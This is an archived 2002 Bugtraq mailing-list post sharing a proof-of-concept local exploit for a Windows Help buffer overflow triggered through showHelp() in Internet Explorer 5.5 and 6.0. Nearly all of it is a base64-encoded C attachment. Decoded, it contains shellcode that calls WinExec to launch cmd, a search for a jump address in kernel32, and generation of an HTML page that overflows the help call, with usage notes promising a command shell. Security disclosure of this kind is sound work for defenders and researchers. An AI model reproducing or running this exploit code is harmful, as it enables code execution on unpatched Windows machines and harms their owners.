[27395] in bugtraq
prover of concept code of windows help overflow
daemon@ATHENA.MIT.EDU (buzheng)
Fri Oct 11 12:32:32 2002
From: buzheng <bu_zheng@sina.com>
To: bugtraq@securityfocus.com
Date: Thu, 10 Oct 2002 15:14:02 -0400
Message-Id: <20021010151102.F5FB.BU_ZHENG@sina.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------_3DA5D0C6F61B0367F008_MULTIPART_MIXED_"
Content-Transfer-Encoding: 7bit
--------_3DA5D0C6F61B0367F008_MULTIPART_MIXED_
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
I tried multiple times...... :(
this is the local exploit. auto search all local addresses.
--
buzheng <bu_zheng@sina.com>
--------_3DA5D0C6F61B0367F008_MULTIPART_MIXED_
Content-Type: application/octet-stream; name="ex.c"
Content-Disposition: attachment;
filename="ex.c"
Content-Transfer-Encoding: base64
LyoNCkJ5IGlweG9kaUB3aGl0ZWNlbGwub3JnIDEwLjA3LjIwMDINCg0KcHJvdmUgb2YgY29uY2Vw
dCBjb2RlIG9mIFdpbmRvd3MgSGVscCBidWZmZXIgb3ZlcmZsb3cuDQpCdWcgZGlzY292ZXJlZCBi
eSANCkZvciB0ZWNoIGRldGFpbCBzZWUgIlRob3IgTGFyaG9sbSBzZWN1cml0eSBhZHZpc29yeSBU
TCMwMDQiLg0KVG8gVXNlOg0KY2wgZXguYw0KUnVuIGFzOg0KZXggPiBleC5odG0NCnN0YXJ0IGV4
Lmh0bSAgICAoYmUgc3VyZSB0byBzZXQgaWV4cGxvcmUgYXMgeW91ciBkZWZhdWx0IGh0bSB2aWV3
ZXIuKQ0KWW91IHdpbGwgZ2V0IGEgY21kIHNoZWxsLg0KDQpUZXN0ZWQgb24gSUUgNS41LCBJRTUu
NSBTUDIsIElFIDYuMC4NCm90aGVyIHZlcnNpb24gdW50ZXN0ZWQuDQoqLw0KDQojaW5jbHVkZSA8
d2luZG93cy5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQoNCg0KY2hhciBzaGVsbGNvZGVbXSA9ICJc
eDU1XHg4Qlx4RUNceDMzXHhGRlx4NTdceEM2XHg0NVx4RkNceDYzXHhDNlx4NDVceEZEXHg2RFx4
QzZceDQ1XHhGRVx4NjRceDU3XHhDNlx4NDVceEY4XHgwMyIgIlx4ODBceDZEXHhGOFx4NTAiIA0K
CQkiXHg4RFx4NDVceEZDXHg1MFx4OTBceEI4IiAiRVhFQyIgIlx4RkZceEQwXHgzM1x4QzBceDUw
XHg5MFx4QjgiICJFWElUIiAiXHhGRlx4RDBceEMzIjsNCg0KY2hhciBzaGVsbGNvZGVfZW5jb2Rl
W10gPSAiXHg1NVx4OEJceEVDXHgzM1x4RkZceDU3XHhDNlx4NDVceEZDXHg2M1x4QzZceDQ1XHhG
RFx4NkRceEM2XHg0NVx4RkVceDY0XHg1N1x4QzZceDQ1XHhGOFx4NTMiICJceDgwXHg2RFx4Rjhc
eDUwIiANCgkJIlx4OERceDQ1XHhGQ1x4NTBceDkwXHhCOCIgIkVYRUMiICJceDJDXHg3OCIgIlx4
RkZceEQwIiAiXHg0MVx4MzNceEMwXHg1MFx4OTBceEI4IiJFWElUIiAiXHgyQ1x4NzgiICJceEZG
XHhEMFx4QzMiOw0KDQp2b2lkIEVuY29kZUZ1bmNBZGRyKGNoYXIgKiBzaGVsbGNvZGUsRFdPUkQg
YWRkcixjaGFyICogcGF0dGVybikNCnsNCgl1bnNpZ25lZCBjaGFyICogcCA7DQoJcCA9IHN0cnN0
cihzaGVsbGNvZGUscGF0dGVybik7DQoJaWYocCkJew0KCQlpZiggKihwKzQpID09ICdceEZGJyAp
CQ0KCQkJbWVtY3B5KHAsJmFkZHIsNCk7DQoJCWVsc2Ugew0KCQkJaWYoKGFkZHIgJiAweEZGKSA+
IDB4ODApCXsNCgkJCQltZW1jcHkocCwmYWRkciw0KTsJDQoJCQkJKihwKzQpID0gMHg5MDsNCgkJ
CQkqKHArNSkgPSAweDkwOw0KCQkJfWVsc2UJew0KCQkJCWFkZHIgKz0gMHg3ODsNCgkJCQltZW1j
cHkocCwmYWRkciw0KTsNCgkJCX0NCgkJfQ0KCX0NCn0NCg0KaW50IE1vZGlmeUZ1bmNBZGRyKGNo
YXIgKiBzaGVsbGNvZGUpDQp7DQoJY2hhciAqIHRlbXA9IjAxMjM0NTY3ODlBQkNERUYiOw0KCUhN
T0RVTEUgaGRsOw0KCXVuc2lnbmVkIGNoYXIgKiBwIDsNCglEV09SRCBwQWRkcl9XaW5FeGVjICxw
QWRkcl9FeGl0IDsNCg0KCWhkbCA9IExvYWRMaWJyYXJ5KCJrZXJuZWwzMi5kbGwiKTsNCglwQWRk
cl9XaW5FeGVjID0gR2V0UHJvY0FkZHJlc3MoaGRsLCJXaW5FeGVjIik7DQoJcEFkZHJfRXhpdCA9
IEdldFByb2NBZGRyZXNzKGhkbCwiRXhpdFByb2Nlc3MiKTsgDQoJZnByaW50ZihzdGRlcnIsIkZp
bmQgV2luRXhlYyBhdCBBZGRyZXNzICV4LCBFeGl0UHJvY2VzcyBhdCBBZGRyZXNzICV4XG4iLHBB
ZGRyX1dpbkV4ZWMscEFkZHJfRXhpdCk7DQoJRW5jb2RlRnVuY0FkZHIoc2hlbGxjb2RlLHBBZGRy
X1dpbkV4ZWMsIkVYRUMiKTsNCglFbmNvZGVGdW5jQWRkcihzaGVsbGNvZGUscEFkZHJfRXhpdCwi
RVhJVCIpOw0KfQ0KDQoNCnZvaWQgVmFsaWRhdGUoY2hhciAqIHNoZWxsY29kZSkNCnsNCgl1bnNp
Z25lZCBjaGFyICpwLCAqZm9vID0gIlxcXC86Kj9cIjw+fCI7DQoJZm9yKDsqZm9vO2ZvbysrKQl7
DQoJCXAgPSBzdHJjaHIoc2hlbGxjb2RlLCpmb28pOw0KCQlpZihwKQl7DQoJCQlmcHJpbnRmKHN0
ZGVyciwiRVJST1I6U2hlbGxDb2RlIENvbnRhaW5zIEludmFsaWQgQ2hhciBGb3IgRmlsZSBuYW1l
OiAlc1xuIixwKTsNCgkJfQ0KCX0NCn0NCg0KI2RlZmluZSBWYWxpZChjKQkoYz4weDMwKQ0KaW50
IEZpbmRDb2RlKGNoYXIgKiBjb2RlKQ0Kew0KCURXT1JEIGFkZHI7DQoJdW5zaWduZWQgY2hhciAq
IHAgPSAodW5zaWduZWQgY2hhciAqIClMb2FkTGlicmFyeSgia2VybmVsMzIuZGxsIik7DQoNCglm
b3IoO3AgPCAweDc3ZjAwMDAwO3ArKykNCgkJaWYobWVtY21wKHAsY29kZSwyKT09MCkJew0KCQkJ
ZnByaW50ZihzdGRlcnIsIkZpbmQgQ29kZSBhdCBBZGRyZXNzICV4XG4iLHApOw0KCQkJYWRkciA9
IChEV09SRCkgcDsNCgkJCWlmKCAoYWRkciAmMHhGRiApPjB4MzAgJiYgKChhZGRyPj44KSYweEZG
KT4weDMwJiYgKChhZGRyPj4xNikmMHhGRik+MHgzMCAmJiAoKGFkZHI+PjI0KSYweEZGKT4weDMw
ICkNCgkJCQlyZXR1cm4gcDsNCgkJfQ0KCXJldHVybiAwOw0KfQ0KaW50IG1haW4oaW50IGFyZ2Ms
IGNoYXIgKiogYXJndikNCnsNCgljaGFyICogcHJlZml4ID0gIjxzY3JpcHQgdHlwZT1cInRleHQv
amF2YXNjcmlwdFwiPnNob3dIZWxwKFwiIjsNCgljaGFyICpwb3N0Zml4ID0gIlwiKTs8L3Njcmlw
dD4iOw0KCWNoYXIgYnVmZlsxMDI0XTsNCglpbnQgbW9kZSA9IDI7DQoJY2hhciAqIHBDb2RlID0g
YnVmZiwgKnNoZWxsOw0KCURXT1JEIGFkZHI7DQoJaW50IG9mZnNldCA9IDc4NDsNCgkNCglpZihh
cmdjID4gMyApCXsNCgkJcHJpbnRmKCJVc2FnZTogICAlcyBbbW9kZV0gW29mZnNldF0iLGFyZ3Zb
MF0pOw0KCQlwcmludGYoIk5vcm1hbDogICVzIDEgNzg0Iixhcmd2WzBdKTsNCgkJcHJpbnRmKCJB
ZHZhbmM6ICAlcyAyIDc4NCIsYXJndlswXSk7DQoJCWV4aXQoMCk7DQoJfWVsc2UgaWYoYXJnYyA9
PSAzICkJew0KCQlvZmZzZXQgPSBhdG9pKGFyZ3ZbMl0pOw0KCQltb2RlID0gYXRvaShhcmd2WzFd
KTsNCgl9Ow0KCWZwcmludGYoc3RkZXJyLCJNb2RlICVkLCBVc2luZyBPZmZzZXQgJWRcbiIsbW9k
ZSxvZmZzZXQpOw0KCW1lbXNldChidWZmLDB4NDEsMTAyMyk7DQoJDQoJbWVtY3B5KHBDb2RlLCAi
QTpcXFx4QzAiLDQpOwkvL2NtcCBhbCxhbCBhcyBhIG5vcC4NCgkNCglzd2l0Y2gobW9kZSkJew0K
CQljYXNlIDE6IHNoZWxsID0gc2hlbGxjb2RlOyBicmVhazsNCgkJY2FzZSAyOiBzaGVsbCA9IHNo
ZWxsY29kZV9lbmNvZGU7YnJlYWs7DQoJCWNhc2UgMzogew0KCQkJCXNwcmludGYoYnVmZiArb2Zm
c2V0LCAiYWJjZCIpOw0KCQkJCXByaW50ZigiJXMlcyVzIixwcmVmaXgsYnVmZixwb3N0Zml4KTsN
CgkJCQlyZXR1cm4gOw0KCQkJCX0NCgl9DQoJTW9kaWZ5RnVuY0FkZHIoc2hlbGwpOw0KCVZhbGlk
YXRlKHNoZWxsKTsNCgltZW1jcHkocENvZGUrMHgxMCxzaGVsbCxzdHJsZW4oc2hlbGwpKTsNCglw
Q29kZSA9IGJ1ZmYgKyBvZmZzZXQ7DQoJYWRkciA9IEZpbmRDb2RlKCJceEZGXHhFNyIpOwkvLyBq
bXAgZWRpDQoJKihpbnQqKXBDb2RlID0gYWRkciA/IGFkZHIgOiAweDc3ZTc5ZDAyOw0KCSoocENv
ZGUrNCk9MDsNCglwcmludGYoIiVzJXMlcyIscHJlZml4LGJ1ZmYscG9zdGZpeCk7DQp9DQoJDQoN
Cg==
--------_3DA5D0C6F61B0367F008_MULTIPART_MIXED_--
